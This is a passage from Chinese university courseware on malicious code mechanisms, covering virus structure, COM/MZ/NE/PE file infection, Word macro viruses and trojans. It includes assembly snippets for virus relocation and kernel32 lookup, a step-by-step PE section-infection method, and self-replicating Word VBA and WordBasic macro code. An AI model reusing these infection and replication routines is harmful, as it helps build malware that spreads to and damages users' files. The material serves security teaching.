《软件安全》课件第6章-恶意代码机理分析.pptx

上传人(卖家):momomo 文档编号:5934427 上传时间:2023-05-16 格式:PPTX 页数:198 大小:1.95MB
下载 相关 举报
《软件安全》课件第6章-恶意代码机理分析.pptx_第1页
第1页 / 共198页
《软件安全》课件第6章-恶意代码机理分析.pptx_第2页
第2页 / 共198页
《软件安全》课件第6章-恶意代码机理分析.pptx_第3页
第3页 / 共198页
《软件安全》课件第6章-恶意代码机理分析.pptx_第4页
第4页 / 共198页
《软件安全》课件第6章-恶意代码机理分析.pptx_第5页
第5页 / 共198页
点击查看更多>>
资源描述

1、软件安全Part章 节06恶意代码机理分析Part章 节6.1传统计算机病毒定义:编制或者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码6.1传统计算机病毒6.1.1计算机病毒概述隐藏性潜伏性可触发性破坏性传染性等特性根据病毒存在的媒体分类:l 网络病毒:通过计算机网络传播感染网络中的可执行文件;l 文件病毒:感染计算机中的文件(如:COM,EXE,DOC等);l 引导型病毒:感染启动扇区(Boot)和硬盘的系统引导扇区(MBR)。6.1传统计算机病毒6.1.1计算机病毒概述根据病毒破坏的能力分类:l 无害型:减小磁盘空间l 无危险型

2、:减少内存,显示特殊图像,播放特殊音效。l 危险型:使计算机发生严重错误。l 非常危险型:删除程序、破坏数据、清除系统内存区和操作系统中重要的信息。6.1传统计算机病毒6.1.1计算机病毒概述根据病毒中特定的算法分类:l 伴随型病毒:生成目标EXE文件同样的名字但不同的扩展名(COM)的伴随体。l“蠕虫”型病毒:自我传播l 寄生型病毒:依附在系统的引导扇区或文件中,通过系统的功能进行传播。l 练习型病毒:自身包含错误。l 诡秘型病毒:通过设备技术和文件缓冲区等DOS内部修改。利用DOS空闲的数据区进行工作。l 变型病毒(又称幽灵病毒):每传播一份都具有不同的内容和长度。6.1传统计算机病毒6.

3、1.1计算机病毒概述6.1传统计算机病毒6.1.2病毒的结构和工作机制1、引导模块(主控模块)l 驻留内存l 窃取系统控制权l 恢复系统功能6.1传统计算机病毒6.1.2病毒的结构和工作机制结构2、感染模块l 被动传染l 主动传染6.1传统计算机病毒6.1.2病毒的结构和工作机制结构病毒发现被传染的目标时:判断感染可能 进行感染。潜伏寻找新目标。6.1传统计算机病毒6.1.2病毒的结构和工作机制结构文件型病毒传染途径:加载执行文件。加载传染方式每次传染一个文件。浏览目录过程。用户浏览目录时一次传染所有目标。创建文件过程。创建文件时进行传染6.1传统计算机病毒6.1.2病毒的结构和工作机制结构3

4、、破坏模块(表现模块)在触发条件满足的情况下,病毒对系统或磁盘上的文件进行破坏活动。6.1传统计算机病毒6.1.2病毒的结构和工作机制结构4、触发模块计算机病毒在传染和发作之前,往往要判断某些特定条件是否满足,这个条件就是计算机病毒的触发条件。l 日期触发l 时间触发l 键盘触发l 感染触发l 启动触发l 访问磁盘次数触发l CPU型号/主板型号触发6.1传统计算机病毒6.1.2病毒的结构和工作机制结构1、感染机制又称传播机制。病毒程序的宿主(载体):一个合法的程序。6.1传统计算机病毒6.1.2病毒的结构和工作机制机制单次感染重复性感染6.1传统计算机病毒6.1.2病毒的结构和工作机制机制重

5、复性感染根据感染次数是否有限:简单重复感染有限次重复感染还可分为变长重复感染变位重复感染6.1传统计算机病毒6.1.2病毒的结构和工作机制机制6.1传统计算机病毒6.1.2病毒的结构和工作机制机制两种不同的感染引导区的方法:寄生式感染(Parasitic Infection)感染DOS下COM文件6.1传统计算机病毒6.1.2病毒的结构和工作机制机制感染MZ文件6.1传统计算机病毒6.1.2病毒的结构和工作机制机制两种感染驱动程序尾部的方法:6.1传统计算机病毒6.1.2病毒的结构和工作机制机制插入式感染:6.1传统计算机病毒6.1.2病毒的结构和工作机制机制RAM病毒插入示例(逆插入):6.

6、1传统计算机病毒6.1.2病毒的结构和工作机制机制DIR-病毒感染软盘的方式(链式感染):6.1传统计算机病毒6.1.2病毒的结构和工作机制机制2、触发机制用于判断发作条件的方法,一旦环境合适就通知病毒进行感染或破坏。6.1传统计算机病毒6.1.2病毒的结构和工作机制机制3、破坏机制对计算机进行破坏的机制。6.1传统计算机病毒6.1.2病毒的结构和工作机制机制病毒对于文件破坏的行为主要有:l 删除文件、l 给文件改名、l 替换文件内容、l 擦除部分代码、l 颠倒内容、l 擦除写入时间、l 将宿主弄成碎片、l 将写操作改为只读操作、l 6.1传统计算机病毒6.1.2病毒的结构和工作机制机制病毒对

7、系统的破坏的行为主要有:l 干扰DOS内部命令、l 不许系统打开文件、l 更换现行磁盘、l 重新启动、l 强制游戏、l 耗费系统资源、l 6.1传统计算机病毒6.1.2病毒的结构和工作机制机制病毒对内存的破坏的行为主要有:l 挤占大量内存、l 降低实际内存、l 逐步吃掉内存、l 禁止内存分配、l 6.1传统计算机病毒6.1.2病毒的结构和工作机制机制对硬件的破坏。使硬件功能异常。混合攻击方式。将几种方式结合起来。其他攻击方式。病毒的破坏方式实在是层出不穷,不胜枚举。6.1传统计算机病毒6.1.2病毒的结构和工作机制机制6.1.3.1 引导型病毒编制技术6.1传统计算机病毒6.1.3案例分析引导

8、型病毒首先感染软盘的引导区,陆后再蔓延至硬盘并感染硬盘的主引导记录(MBR),然后试图感染软驱中的软盘引导区。在引导操作系统之前,完成以下工作。(1)减少系统可用最大内存量。(2)修改必要的中断向量。(3)读入病毒的其他部分,进行病毒的拼装。(4)读入原主引导分区,转去执行操作系统的引导工作。6.1.3.2 16位可执行文件病毒编制技术6.1传统计算机病毒6.1.3案例分析该病毒主要是感染文件(包括COM、EXE、DRV、BIN、OVL和SYS等扩展名的文件)。6.1.3.2 16位可执行文件病毒编制技术6.1传统计算机病毒6.1.3案例分析1.COM格式最简单的可执行文件就是DOS下的COM

9、文件。在试图运行另一个程序或分配另外的内存之前,大部分COM程序释放任何不需要的内存。分配内存后,DOS在该内存的头256B建立一个PSP。结构如下:偏移大小 长度(Byte)说明0000h 02 中断20H0002h 02 以字节计算的内存大小(利用该项可看出是否感染引导型病毒)0004h 01 保留0005h 05 至DOS的长调用000Ah 02 INT22H入口IP000Ch 02 INT22H入口CS000Eh 02 INT23H入口IP0010h 02 INT23H入口CS0012h 02 INT24H入口IP0014h 02 INT24H入口CS0016h 02 父进程的PSP段

10、值(可测知是否被跟踪)0018h 14 存放20个SOFT号偏移大小 长度(Byte)说明002Ch 02 环境块段地址(从中可获知执行的程序名)002Eh 04 存放用户栈地址指针0032h 1E 保留0050h 03 DOS调用(INT 21H/RETF)0053h 02 保留0055h 07 扩展的FCB头005Ch 10 格式化的FCB1006Ch 10 格式化的FCB2007Ch 04 保留0080h 80 命令行参数长度0081h 127 命令行参数6.1.3.2 16位可执行文件病毒编制技术6.1传统计算机病毒6.1.3案例分析2.MZ格式COM发展下去就是MZ格式的可执行文件,

11、这是DOS中具有重定位功能的可执行文件格式。MZ可执行文件内含16位代码,在这些代码之前加于一个文件头,文件头中包括各种说明数据。6.1.3.2 16位可执行文件病毒编制技术6.1传统计算机病毒6.1.3案例分析2.MZ格式MZ标志标志MZ文件头文件头其他信息其他信息重定位表的字节偏移量重定位表的字节偏移量重定位表重定位表重定位表可重定位程序映像可重定位程序映像二进制代码/MZ格式可执行程序文件头Struct HeadEXE WORD wType;/00H MZ标志WORD wLastSecSize;/02H 最后扇区被使用的大小WORD wFileSize;/04H 文件大小WORD wRe

12、locNum;/06H重定位项数WORD wHeadSize;/08H 文件头大小WORD wReqMin;/0AH 最小所需内存WORD wReqMax;/0CH 最大所需内存WORD wInitSS;/0EH SS初值WORD wInitSP;/10H SP初值WORD wChkSum;/12H 校验和WORD wInitIP;/14H IP初值WORD wInitCS;/16H CS初值WORD wFirstReloc;/18H 第一个重定位项位置WORD wOverlap;/1AH 覆盖WORD wReservedOx20;/1CH 保留WORD wNEOffset;/3CH NE头位

13、置;6.1.3.2 16位可执行文件病毒编制技术6.1传统计算机病毒6.1.3案例分析3.NE格式为了保持对 DOS的兼容性并满足Windows的需要,Windows 3.x中出现的NE格式的可执行文件中保留了MZ格式的头,同时NE文件又加了一个自己的头,之后才是可执行文件的可执行代码。MS-DOS头头DOS头文件头文件保留区域保留区域Windows头偏移头偏移DOSStub程序程序信息块信息块NE文件头段表段表资源表资源表驻留名表驻留名表模块引用表模块引用表引入名字表引入名字表入口表入口表非驻留名表非驻留名表代码段和数据段代码段和数据段程序区重定位表重定位表环境块段地址(从中可获知执行的程序

14、名)/NE格式可执行文件文件头struct HeadNEWORD wType;/NE标志BYTE wLinkerVerMajor;BYTE wLinkerVerMinor;WORD wEntryOffset;WORD wEntrySize;DWORD dReserved;WORD wModelFlag;WORD wDGROUPseg;WORD wInitLocalHeapSize;WORD wInitStackSize;WORD wInitIP;WORD wInitCS;WORD wInitSP;WORD wlnitSS;WORD wSegTableEntrys;WORD wModelRefE

15、ntrys;WORD wNoResdNameTableSize;WORD wSegTable0ffset;WORD wResourceOffset;WORD wResdNameTableOffset;WORD wModelRefOffset;WORD wInputNameTableOffset;DWORD wNoResdNameTableOffset;WORD wMovableEntrys;WORD wSegStartOffset;WORD wResTabIeEntrys;BYTE bOperatingSystem;BYTE bExtFlag;WORD wFLAOffsetBySector;/

16、快速装入区,Windows专用WORD wFLASectors;/Windows专用WORD wReserved;WORD wReqWindowsVer;/Windows专用6.1.3.2 16位可执行文件病毒编制技术6.1传统计算机病毒6.1.3案例分析COM文件是一种单段执行结构的文件,感染COM文件的典型做法如下:cs:0100 jmp endoffile /db 0E9H,0100H处为文件的开头/dw COM文件的实际大小endoffile:virusstart:/病毒代码开始mov ax,orgcode /orgcode db 3dup(?)源文件由0100 开始的3个字节Mov

17、100,ax mov al,orgcode+2 mov 102,al virussize=$-virusstartresume:jmp /db 0E9H/dw 当前地址-(COM文件的实际大小+病毒代码大小)6.1.3.3 32位可执行文件病毒编制技术6.1传统计算机病毒6.1.3案例分析PE文件结构及其运行原理PE是Win32环境自身所带的可执行文件格式。它的一些特性继承自UNIX的COFF(Common Object File Format)文件格式。6.1.3.3 32位可执行文件病毒编制技术6.1传统计算机病毒6.1.3案例分析PE文件型病毒关键技术在Win32下编写Ring3级别的病

18、毒通过DLL导出的,这个级别的病毒有很好的兼容性。编写Ring3组病毒,有六个重要问题需要做:1.病毒的重定位、2.获取API函数、3.文件搜索、4.内存映射文件、5.病毒如何感染其他文件6.如何返回到宿主程序。1.病毒的重定位病毒随着宿主程序载入内存后,病毒中的各个变量(常量)在内存中的位置自然也会随之改变。因此,病毒必须对所有病毒代码中的变量进行重新定位。病毒重定位代码如下:call delta delta:pop ebpLea eax,ebp+(offset varl offset delta)6.1.3.3 32位可执行文件病毒编制技术2.获取API函数Win32 PE病毒和普通Win

19、32 PE程序一样需要调用API函数。在实际编写病毒的过程中,经常用到的动态链接库有Kernel32.dll和user32.dll等。6.1.3.3 32位可执行文件病毒编制技术(1)利用程序的返回地址,在其附近搜索Kernel32的基地址。其搜索代码如下:mov ecx,esp /将堆栈顶端的数据(既程序返回Kernel32的地址)赋给ecxxor edx,edx/清零getK32Base:dec ecx/逐字节比较验证,也可以一页一页地搜索 mov edx,word ptr ecx+IMAGE_DOS_HEADER.e_lfanew/就是ecx+3chtest edx,0f0OOh/DOS

20、 Header和stub不可能太大,不超过4096byte jnz getK32Base/加速检验 6.1.3.3 32位可执行文件病毒编制技术cmp ecx,dword ptr ecx+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase jnz getK328ase/看Image_Base值是否等于ecx(模块起始值)mov ebp十offset k32Base,ecx/如果是,就认为找到kernel32的Base值6.1.3.3 32位可执行文件病毒编制技术也可以采用以下方法:getKBase:mov edi,esp+04h/这里的espt+04h是

21、不定的,主要看从程序第一条指令执行到这里有多少push/操作,如果设为N个push,则这里的指令就是Mov edi,esp+N*4h and edi,OFFFFOOOOh.while TRUE.if DWORD ptr edi=IMAGE_DOS_SIGNATURE /判断是否MZMov esi,ediadd esi,DWORD ptr esi+03Ch /esi指向PE标志.if DWORD ptr esi=IMAGE_NT_SIGNATURE /是否有PE标志6.1.3.3 32位可执行文件病毒编制技术.break /如果有跳出循环.endif.endifsub edi,010000h /

22、分配粒度是10000h,dll必然加载在xxxx0000h处.if edi MIN_KERNEL_SEARCH_BASE/MIN_KERNEL_SEARCH_BASE等于70000000H mov edi,0bff70000h/如果上面没有找到,则使用Windows 9x的Kernel地址.break .endif .endw mov hKernel32,edi /把找到的Kernel32.dll的基地址保存起来6.1.3.3 32位可执行文件病毒编制技术(2)对相应操作系统分别给出固定的Kernel32;模块的基地址。在得到了Kerne132的模块地址以后,对于给定的API,可以通过直接搜索

23、Kernel32.dll导出表的方法来获得其地址,同样也可以先搜索出GetProcAddress和LoadLibrary两个API函数的地址,然后利用这两个API函数得到所需要的API函数地址。6.1.3.3 32位可执行文件病毒编制技术3.文件搜索在Win32汇编中,通常采用API函数进行文件搜索。关键的函数和数据结构如下。(1)FindFirstFile:该函数根据文件名查找文件。(2)FindNextFile:该函数根据调用FindFirstFile函数时指定的一个文件名查找下一 个文件。(3)FindClose:该函数用来关闭由FindFirstFile函数创建的一个搜索句柄。(4)W

24、IN32_FIND_DATA:该结构中存放着找到文件的详细信息。6.1.3.3 32位可执行文件病毒编制技术文件搜索一般采用递归算法进行搜索,也可以采用非递归搜索方法。第一种算法的搜索过程:FindFile Proe指定找到的目录为当前工作日录;开始搜索文件(*.*);该目录搜索完毕?是则返回,否则继续;找到文件还是目录?是目录则调用自身函数FindFilc,否则继续;是文件,如符合感染条件,则调用感染模块,否则继续;搜索下一个文件(FindNextFile),转到继续。FindFileEndp 6.1.3.3 32位可执行文件病毒编制技术4.内存映射文件内存映射文件提供了一组独立的函数,这些

25、函数值应用程序能够像访问内存一样对磁盘上的文件进行访问。在计算机病毒中,通常采用如下几个步骤。(1)调用CreateFile函数打开想要映射的宿主程序,返回文件句柄hFile。(2)调用CreateFileMapping函数生成一个建立基于宿主文件句柄hFile的内存映射对 象,返回内存映射对象句柄hMap。(3)调用MapVicwOfFile函数将整个文件(一般还要加上病毒体的大小)映射到内存中。得到指向映射到内存的第一个字节的指针(pMem)。6.1.3.3 32位可执行文件病毒编制技术(4)用刚才得到的指针pMem对整个宿主文件进行操作,对宿主程序进行病毒感染。(5)调用UnmapVie

26、wFile函数解除文件映射,传人参数是pMem。(6)调用CloseHandle来关闭内存映射文件,传入参数是hMap。(7)调用CloseHandle来关闭宿主文件,传人参数是hFile。6.1.3.3 32位可执行文件病毒编制技术5.病毒如何感染其他文件PE病毒感染其他文件的常见方法是在文件中添加一个新的节,然后,把病毒代码和病毒执行后返回宿主程序的代码写入新添加的节中,同时修改PE文件头中入口点(AddressOfEntryPoint),使其指向新添加的病毒代码入口。其主要步骤为:(1)判断目标文件开始的两个字节是否为MZ。(2)判断PE文件标记PE。(3)判断感染标记。如果己被感染过则

27、跳出,继续执行宿主程序,否则继续。(4)获得Data Directory(数据目录)的个数(每个数据目录信息占8个字节)。(5)得到节表起始位置(数据目录的偏移地址+数据目录占用的字节数=节表起始位置)。6.1.3.3 32位可执行文件病毒编制技术(6)得到节表的末尾偏移紧接其后用于写入一个新的病毒节信息,节表起始位置+节 的个数*每个节表占用的字节数28H=节表的末尾偏移。(7)开始写入节表。写入表又分为以下11个步骤:写入节名(8字节)。写入节的实际宇节数(4字节)。写入新节在内存中的开始偏移地址(4宇节),同时可以计算出病毒入口位置。上一个节在内存中的开始偏移地址+(上一个节的大小/节对

28、齐+1)*节对齐=本节在内存中的开始偏移地址。写入本节(即病毒节)在文件中对齐后的大小。写入本节在文件中的开始位置。上节在文件中的开始位置+上节对齐后的大小=本节(即病毒)在文件中的开始位置。6.1.3.3 32位可执行文件病毒编制技术修改AddressOfEntryPoint(即程序入口点指向病毒入口位置),同时保存旧的AddressOfEntryPoint,以便返回宿主并继续执行。更新SizeOfImage(内存中整个PE映像尺寸=原SizeOfImage+病毒节经过内存节对齐后的大小)。写入感染标记(后面例子中是放在PE头中)。在新添加的节中写人病毒代码。ECX=病毒长度 ESI=病毒代

29、码位置(并不一定等于病毒执行代码开始位置)EDI=病毒节写入位置 将当前文件位置设为文件末尾。6.1.3.3 32位可执行文件病毒编制技术6.如何返回到宿主程序 病毒应该在执行完毕后,立刻将控制权交给宿主程序。病毒会先做出一个“现在执行程序是否为病毒启功程序”的判断,如果不是启功程序,病毒才会返回宿主程序,否则继续执行程序其他部分。对于启动程序来说,它是没有病毒标志的。6.1.3.3 32位可执行文件病毒编制技术6.1.3.3 从Ring3到Ring0的简述6.1传统计算机病毒6.1.3案例分析Windows操作系统运行在保护模式,保护模式将指令执行分为4个特权级,即Ring0、Ring1、R

30、ing2和Ring3。Ring0可以直接执行诸如访问端口等操作,通常应用程序运行于Ring3,这样可以很好地保护系统安全。如果想进入Ring0,一般要写 VxD或WDM驱动程序,由于Windows 9x未对IDT(Interrupt Descriptor Table)、GOT(Global Descriptor Table)和LDT(Locale Descriptor Table)加以保护,因此可以利用这一漏洞来进入Ring0.6.1.3.3 从Ring3到Ring0的简述6.1传统计算机病毒6.1.3案例分析大多数感染Windows NT/Windows 2000/Windows XP系统的

31、病毒都是Ring3级别的。如果想在Windows 2000下进入Ring0还必须具有Administrator权限。如果系统存在某种漏啊,如缓冲区溢出等,还是有可能获得Administrator权限的。因此,必须同时具备病毒编制技术和黑客技术才能进入Windows 2000的Ring0,由此可以看出当前的病毒编制技术越来越需要结合能力。Part章 节6.2宏病毒l 恶意代码出现的早期,反病毒研究者就在讨论宏病毒了。l 20世妃80年代Fred Cohen博士和Ralf Burgerl 1989年Harold Highland曾经时此写过一篇相关文章l 第一个做微软Office宏病毒于1994年

32、12月发布。l 到1995年Office宏病毒就已经感染了世界上几乎所有的Windows计算机。6.2宏病毒6.2.1宏病毒历史宏:是由一系列的WORD命令和指令组合在一起,形成的一个命令(就像以的批处理文件一样),以实现任务执行的自动化,用来完成所需任务。宏典型应用:包括加速日常的编辑和格式设置、组合多个命令、使对话框中的选项更易于访问、使一系列复杂的任务自动完成等等。宏病毒:与宏相同,完成一系列恶意工作。宏病毒环境弱点:1宏语言不能脱离母程序运行。2.宏语言是解释型的6.2宏病毒6.2.2宏病毒的运行环境 (1)宏语言编写。(2)感染宏病毒只需双击染毒的查看文档。(3)宏病毒可以在任何能够

33、理解和解释宏指令的环境中运行和传播。(4)宏病毒总是针对特别的某一类应用软件的。(5)一个宏病毒只是包含一系列宏命令,这些宏必须被保存在应用软件存储宏的地方。(6)宏病毒的破坏性极大。6.2宏病毒6.2.3宏病毒的特征(7)宏病毒传播的速度比历史上其它种病毒都快同时编制容易得多。(8)宏病毒改变了关于病毒的观念和定义6.2宏病毒6.2.3宏病毒的特征l 梅丽莎(Melissa)l 台湾NO.1B l 097M.Tristate.C病毒 6.2宏病毒6.2.4经典宏病毒l 宏病毒主要变种6.2宏病毒6.2.4经典宏病毒序号病毒名称传染软件宏的数量和种类症状危害性备注 1示范宏病毒(Demorca

34、tionMarco Virus)WORD1个Autoclose 复制宏 无只是掩饰宏病毒的编写 2 原子弹宏病毒系列(NuclearMarco Virus)WORD9个 AutoExec,AutoOpen,FileSaveAs,DropSurivFileExit,FilePrint,Payload,FilePrintDefault,InsertPayload,(1)打印出该文档;(2)在4月5日删除根目录下的系统文件,导致不能启动。较严重第一类有破坏作用的宏病毒 3彩色宏病毒系列(Colors Marco Virus)WORD8个 AutoClose,AutoExec,AutoOpen,Fil

35、eExit,FileNem,FileSave,FileSaveAs,ToolsMarco1.修改菜单/工具条内容,使自己难于被删除;2.在被访问三百次后,随机改变系统颜色。有危害 4格式化宏病毒(FormatCMarco Virus)WORD1个AutoOpen格式化C盘 严重 5概念宏病毒系列(Concept,WW6Marco,Prank Marco)WORD4个 AAAZAO,AAAZFS,AutoOpen,PayLOAD 复制宏无直接危害很有名,流传很广表一l 宏病毒主要变种6.2宏病毒6.2.4经典宏病毒 6热宏病毒系列(Hot/WordMarco VIrus)WORD4个 Start

36、OfDoc,AutoOpen,Filesave,InsertPageBreak染毒大约14天后,但该文档被打开和保存时,就删除该文档 有危害 7挑战宏病毒(Challenge Macro Virus)WORD没有使用WORD的AUTO宏命令,而是利用了WORD中隐含和未成文的特性。显示一段无害的信息未发现有害在一个展示会上,对防毒产品的挑战8 EXCEL示范宏病毒系列EXCEL1个Autoclose复制宏无危害演示宏病毒的编写9Laroux宏病毒系列EXCEL 复制宏无危害变种很多 10 AccessIV 系列 Access利用软件的宏编程软件语言复制自己不感染应用程序,只感染文档和破坏Acc

37、ess数据库资料 有危害无法清除,但是可以防止感染 11绿色条纹宏病毒系列(Green Stripe Marco Virus)Ami PRO2个File/Save,FIle/Save AS同时把该文档内所有的“its”替换成“its”有危害 表一l 下面以WORD为例,简要说明宏病毒的传染以及作用机理。l WORD处理文档,每一种动作都对应着特定的宏命令。l 操作感染病毒的WORD执行动作时,运行宏病毒代码6.2宏病毒6.2.5宏病毒的工作机制l 6.2.6WORD宏语言l Visual Basic for Application(VBA)l 宏指令的复制技术 判断一个系统是否能产生恶意代码的

38、必要条件是“复制技术”,实现自我复制的代码如下:Micro-Virus Sub Document Open()On Error Resume Next Application.DisplayStatusBar=FalseOptions.SaveNormalPrompt=False Ourcode=ThisDocument.V8Proect.VBComponents(I).CodeModule.Lines(1,100)Set Host=NormalTemplate.VBProject.VBComponents(l).CodeModuleIf ThisDoument=NormalTemplate

39、ThenSet Host=ActiveDocument.VBProject.V8Components(1).CodeNoduleEndIf 6.2宏病毒6.2.7宏病毒关键技术l 宏指令的复制技术 With host If.Lines(1.I MicroVirus Then.DeleteLines 1,.CountOfLines.InsertLines 1,Ourcode.ReplaceLine 2,Sub Document close()If ThisDocument=normaltemplate Then.ReplaceLine 2,Sub Document_Open()ActiveDoc

40、ument.SaveAsActiveDocument.FullNameEndIf EndIf End WithMsgBox MicroVirus by Content Security Lab End Sub6.2宏病毒6.2.7宏病毒关键技术l 自动执行的示例代码Sub MAIN On Error GotoAbort iMacroCount=CountMacros(O,0)/检查是否感染该文皑文件 For i=1 To iMacroCouot If MacroName$(i,0,0)=“PayLoad”Then bInstalled=-1/检查正常的宏 End IfIf MacroName$

41、(i,0,0)=”FileSaveAs”ThenbTooMuchTrouble=-1/但如果FileSaveAs宏存在那么传染比较困难 End If Next i If Not blnstalled And Not bTooMuchTrouble Then6.2宏病毒6.2.7宏病毒关键技术l 自动执行的示例代码iWW6IInstance=Val(GetDocwaentVar串(WW6Infector)sMe$=FileName$()Macro$=sMe$+:PayLoad MacroCopy Macro$,Global:PayLoad,1 Macro$=sMe$+:FileOpen Macr

42、oCopy Macr0$,Global:FileOpen,1 Macro$=sMe$+:FileSalleAs MacroCopy Macro$,Global:FileSave且S,1 Macro$=sMe$+AutoExec MacroCopy Macro$,Global:AutoExec,1 SetProfileString WW61,Str$(iWW6IInstance+1)EndIf Abort:End Sub 6.2宏病毒6.2.7宏病毒关键技术l SaveAs程序Sub MAIN Dim dlg As FileSaveAs GetCurValues dIg Dialog dlg I

43、f(Dlg.Format=0)Or(dlg.Format=1)ThenMacroCopy FileSave&s,WindowName$()+:FileSaveAs MacroCopy FileSave,WindowName$()+:FileSave MacroCopy PayLoad,WindowName$()+:PayLoad MacroCopy FileOpen,WindowName$()+:FileOpen Dlg.Format=1 EndIf FileDaveAs dlg End Sub 6.2宏病毒6.2.7宏病毒关键技术l 还有些方法可以用来隐藏和使宏病毒更有趣。当有些人用Tool

44、s/Macro菜单观察宏时,该代码可以达到掩饰病毒的目的。Sub MAIN On Error Goto ErrorRoutine OldName$=NomFichier$()If macros.bDebug ThenMsgBox start TooIsMacro Dim dlg As OutilsMacro If macros.bDebugThen MsgBox 1 GetCurValues dlg If macros.bDebug Then Msg80 x 2 On Error Goto Skip Dialog dlg OutilsMacro dlg 6.2宏病毒6.2.7宏病毒关键技术Sk

45、ip:On Error Goto ErrorRoutine EndIf REM enahle automacros Disable Auto Macros 0 macros.SaveToGlobal(OldName$)macros.objective Goto Done ErrorRoutine:On Error Goto Done If macros.bOebug ThenMsgBox error+Str$(Err)+occurred EndIfDone:End Sub6.2宏病毒6.2.7宏病毒关键技术Part章 节6.3特洛伊木马本章的学习目标 掌握特洛伊木马的概念 了解木马技术的发展趋

46、势 掌握木马开发实例 理解木马的关键技术 掌握木马攻击的方法 掌握木马防范方法主要内容 木马的介绍 定义、分类、进展 木马的关键技术 植入技术 通信技术 隐藏技术 木马检测、清除、防范 关键技术、实用工具、防范 怎样才能使计算机更安全?木马实例 BO2K-开源木马一、基本概念一、基本概念概念 特洛伊木马(TrojanHorse):是一种与远程计算机之间建立起连接,使远程计算机能够通过网络控制用户计算机系统并且可能造成用户的信息损失、系统损坏甚至瘫痪的程序。木马的组成 硬件:控制端、服务端、Internet 软件:控制端程序、木马程序、木马配置程序 连接:控制、服务端IP,控制、服务端Port基

47、本特征1、隐蔽性是其首要的特征 木马和远程控制软件的最主要区别 不产生图标 不出现在任务管理器中。2、它具有自动运行性 启动文件、启动组、注册表3、木马程序具有欺骗性 名字方式:字母“l”与数字“1”、字母“o”与数字“0”相同文件名但不同路径 常用图标:Zip4、具备自动恢复功能(高级技术)5、能自动打开特别的端口6、功能的特殊性 搜索缓存中的口令、设置口令、扫描目标机器的IP地址、进行键盘记录、远程注册表的操作、以及锁定鼠标等功能7、黑客组织趋于公开化木马的分类 1、远程控制型木马 BO和冰河2、发送密码型木马3、键盘纪录型木马4、破坏型木马5、FTP型木马远程控制、木马与病毒 木马和控制

48、软件 目的不同 有些木马具有控制软件的所有功能 是否隐藏 木马和普通病毒 传播性(木马不如病毒)两者相互融合 木马程序YAI采用了病毒技术“红色代码”病毒已经具有木马的远程控制功能木马的工作流程木马的发展趋势 跨平台性 模块化设计 更新更强的感染(传播、植入)模式 即时通知 更强更多的功能技术进展历史上概括为4个阶段:第一阶段主要实现简单的密码窃取、发送等功能,没有什么特别之处。第二阶段在技术上有了很大的进步,主要体现在隐藏、控制等方面。国内冰河可以说是这个阶段的典型代表之一。第三阶段在数据传递技术上做了不小的改进,出现了基于ICMP协议的木马,这种木马利用ICMP协议的畸形报文传递数据,增加

49、了查杀的难度。第四阶段在进程隐藏方面做了非常大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术嵌入DLL线程,或者挂接PSAPI实现木马程序的隐藏。即使在WindowsNT/2K下,这些技术都达到了良好的隐藏效果。相信,第五代木马的技术更加先进。二、简单木马程序实验二、简单木马程序实验Socket技术 客户机 请求 响应 进程通讯 设施 服务器 请求 响应 服务器 socket()bind()readfrom()sendto()阻塞,等待客户数据 处理服务请求 socket()bind()sendto()readfrom()客户机 服务请求 服务应答 无连接套接应用程序时序图 clos

50、e()close()服务器 socket()bind()listen()阻塞,等待客户数据 处理服务请求 socket()connect()write()客户机 请求数据 应答数据 面向连接套接应用程序时序图 read()read()accept()write()建立连接 close()close()通信实例 编程语言选择 以CSocket为基类生成CMySocket类。CMySocket类的功能是用来使本程序变成一个服务器程序。自动隐藏/Win9x隐藏技术DWORDdwVersion=GetVersion();/得到操作系统的版本号if(dwVersion=0 x80000000)/操作系统

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 大学
版权提示 | 免责声明

1,本文(《软件安全》课件第6章-恶意代码机理分析.pptx)为本站会员(momomo)主动上传,163文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。
2,用户下载本文档,所消耗的文币(积分)将全额增加到上传者的账号。
3, 若此文所含内容侵犯了您的版权或隐私,请立即通知163文库(发送邮件至3464097650@qq.com或直接QQ联系客服),我们立即给予删除!


侵权处理QQ:3464097650--上传资料QQ:3464097650

【声明】本站为“文档C2C交易模式”,即用户上传的文档直接卖给(下载)用户,本站只是网络空间服务平台,本站所有原创文档下载所得归上传人所有,如您发现上传作品侵犯了您的版权,请立刻联系我们并提供证据,我们将在3个工作日内予以改正。


163文库-Www.163Wenku.Com |网站地图|